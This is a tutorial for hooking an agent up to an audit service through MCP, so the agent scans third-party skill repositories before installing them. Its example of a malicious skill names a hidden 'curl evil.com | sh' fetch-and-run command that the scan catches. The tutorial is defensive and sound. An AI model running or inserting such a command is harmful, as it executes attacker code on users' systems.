Auditing Skills Before Your Agent Installs Them
In this tutorial, we will walk through exactly how to hook up Agent Skill Audit to your autonomous agent using the Model Context Protocol (MCP). By the end, your agent will automatically perform static analysis on any repository it attempts to install.
0. Do you even need a key?
For read-only use you don't. Browsing the public directory and looking up a verdict for a known GitHub or skills.sh URL are free and unauthenticated. You only need an API key to run fresh audits on demand from your agent — which is what this tutorial sets up.
1. Get an API Key
While we're in beta, keys are granted manually so we can keep the credit model honest. Join the waitlist:
curl -X POST https://www.agentskillaudit.ai/waitlist -d "[email protected]"
This adds you to the list (it does not return a key). Once we approve your request, we email your sk_live_... key, pre-loaded with 100 free credits. In the meantime you can already use the directory and URL lookups for free.
2. Configure MCP
Most modern agents (like Claude Code, Cursor, or AutoGen) support MCP. The audit server runs locally from a clone of the service repo — clone it and install its dependencies first, then add this to your agent's MCP config (usually mcp_config.json or similar):
{
"mcpServers": {
"ai-skill-audit": {
"command": "python",
"args": ["-m", "mcp_server.server"],
"env": {
"SKILL_AUDIT_API_KEY": "sk_live_YOUR_KEY",
"SKILL_AUDIT_API_URL": "https://www.agentskillaudit.ai"
}
}
}
}
Run the agent (or set the MCP client's working directory) from the repo root so mcp_server.server resolves. A one-line npx install is coming soon.
3. Testing the Integration
Let's see what happens when you ask your agent to interact with a repository.
Scenario A: A Safe Repository
You ask: "Install the skill from `github.com/safe-user/helper`."
Your agent sees the URL and calls check_skill_url first — an instant, credit-free lookup. The repo is already in the directory with an ALLOW verdict and 0 findings, so the agent proceeds to install the tool. No fresh scan needed.
Scenario B: A Malicious Skill
You ask: "Install the skill from `github.com/bad-actor/cool-tool`."
The agent calls check_skill_url, which comes back unknown — we haven't seen this repo. So the agent calls audit_skill to run a fresh scan. Static analysis finds a hidden `curl evil.com | sh` command and a prompt-injection payload in the markdown documentation.
The audit returns a BLOCK verdict. Your agent halts the installation and informs you: "I cannot install this tool. It contains critical security risks including exfiltration and prompt injection."
Making it Automatic
Because this is integrated via MCP, you don't need to write complex prompts or instructions. The agent natively understands both tools — check_skill_url for a fast cached lookup and audit_skill for a fresh scan — and uses them defensively before executing unknown code.